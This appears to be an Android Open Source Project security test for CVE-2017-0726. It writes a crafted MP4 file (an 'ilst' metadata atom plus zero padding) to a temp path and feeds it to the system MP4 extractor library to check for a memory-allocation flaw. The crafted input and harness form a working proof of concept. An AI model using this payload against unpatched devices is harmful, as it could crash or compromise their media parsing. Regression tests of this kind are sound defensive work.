/**
 * Copyright (C) 2020 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#include "../includes/common.h"
#include "stdlib.h"

#include "../includes/memutils_track.h"
#include <android/IMediaExtractor.h>
#include <datasource/DataSourceFactory.h>
#include <dlfcn.h>
#include <media/DataSource.h>
#include <media/IMediaHTTPService.h>
#include <media/stagefright/DataSourceBase.h>
#include <media/stagefright/MediaExtractor.h>
#include <media/stagefright/MetaData.h>

unsigned char mp4_data[] = {
    0x00, 0x00, 0x00, 0x1C, 0x66, 0x74, 0x79, 0x70, 0x6D, 0x70, 0x34, 0x32,
    0x00, 0x00, 0x00, 0x00, 0x6D, 0x70, 0x34, 0x32, 0x64, 0x62, 0x79, 0x31,
    0x69, 0x73, 0x6F, 0x6D, 0x00, 0x00, 0x00, 0x74, 0x6D, 0x6F, 0x6F, 0x76,
    0x00, 0x00, 0x00, 0x6C, 0x75, 0x64, 0x74, 0x61, 0x00, 0x00, 0x00, 0x64,
    0x6D, 0x65, 0x74, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58,
    0x69, 0x6C, 0x73, 0x74, 0x00, 0x00, 0x00, 0x50, 0x2D, 0x2D, 0x2D, 0x2D,
    0x00, 0x00, 0x00, 0x1C, 0x6D, 0x65, 0x61, 0x6E, 0x00, 0x00, 0x00, 0x00,
    0x63, 0x6F, 0x6D, 0x2E, 0x61, 0x70, 0x70, 0x6C, 0x65, 0x2E, 0x69, 0x54,
    0x75, 0x6E, 0x65, 0x73, 0x00, 0x00, 0x00, 0x14, 0x6E, 0x61, 0x6D, 0x65,
    0x00, 0x00, 0x00, 0x00, 0x69, 0x54, 0x75, 0x6E, 0x53, 0x4D, 0x50, 0x42,
    0x00, 0x08, 0x00, 0x18, 0x64, 0x61, 0x74, 0x61, 0x33, 0x32, 0x20, 0x34,
    0x20, 0x33, 0x20, 0x32, 0x33, 0x32, 0x20, 0x34, 0x20, 0x33, 0x20, 0x32};

#if _32_BIT
#define LIBNAME "/system/lib/extractors/libmp4extractor.so"
#define LIBNAME_APEX "/apex/com.android.media/lib/extractors/libmp4extractor.so"
#elif _64_BIT
#define LIBNAME "/system/lib64/extractors/libmp4extractor.so"
#define LIBNAME_APEX                                                           \
  "/apex/com.android.media/lib64/extractors/libmp4extractor.so"
#endif

#define TOTAL_SIZE 524432
#define DATA_SIZE 144
#define TRACK_SIZE (TOTAL_SIZE - DATA_SIZE + 16 + 1)
#define TMP_FILE "/data/local/tmp/temp_cve_2017_0726"

char enable_selective_overload = ENABLE_NONE;
using namespace android;

bool is_tracking_required(size_t size) { return (size == TRACK_SIZE); }

int main() {
  GetExtractorDef getDef = nullptr;
  FILE *fp = fopen(TMP_FILE, "wb");
  if (!fp) {
    return EXIT_FAILURE;
  }

  char zero_array[TOTAL_SIZE - DATA_SIZE];
  memset(zero_array, 0, (TOTAL_SIZE - DATA_SIZE) * sizeof(char));

  /* Write mp4 stream */
  fwrite(mp4_data, 1, DATA_SIZE, fp);

  /* Append 0's to create custom PoC */
  fwrite(zero_array, 1, (TOTAL_SIZE - DATA_SIZE), fp);
  fclose(fp);

  void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
  if (!libHandle) {
    libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
    if (!libHandle) {
      remove(TMP_FILE);
      return EXIT_FAILURE;
    }
  }

  getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
  if (!getDef) {
    dlclose(libHandle);
    remove(TMP_FILE);
    return EXIT_FAILURE;
  }

  sp<DataSource> dataSource =
      DataSourceFactory::getInstance()->CreateFromURI(NULL, TMP_FILE);
  if (dataSource == nullptr) {
    dlclose(libHandle);
    remove(TMP_FILE);
    return EXIT_FAILURE;
  }

  void *meta = nullptr;
  void *creator = nullptr;
  FreeMetaFunc freeMeta = nullptr;
  float confidence;
  if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
    creator = (void *)getDef().u.v2.sniff(dataSource->wrap(), &confidence,
                                          &meta, &freeMeta);
  } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
    creator = (void *)getDef().u.v3.sniff(dataSource->wrap(), &confidence,
                                          &meta, &freeMeta);
  }
  if (!creator) {
    dlclose(libHandle);
    remove(TMP_FILE);
    return EXIT_FAILURE;
  }

  CMediaExtractor *ret = ((CreatorFunc)creator)(dataSource->wrap(), meta);
  if (ret == nullptr) {
    dlclose(libHandle);
    remove(TMP_FILE);
    return EXIT_FAILURE;
  }

  if (meta != nullptr && freeMeta != nullptr) {
    freeMeta(meta);
  }

  sp<MetaData> metaData = new MetaData();
  MediaExtractorCUnwrapper *mediaExtractorCUnwrapper =
      new MediaExtractorCUnwrapper(ret);
  enable_selective_overload = ENABLE_MALLOC_CHECK;
  mediaExtractorCUnwrapper->getTrackMetaData(*metaData.get(), 0, 1);
  enable_selective_overload = ENABLE_NONE;

  remove(TMP_FILE);
  dlclose(libHandle);

  return EXIT_SUCCESS;
}
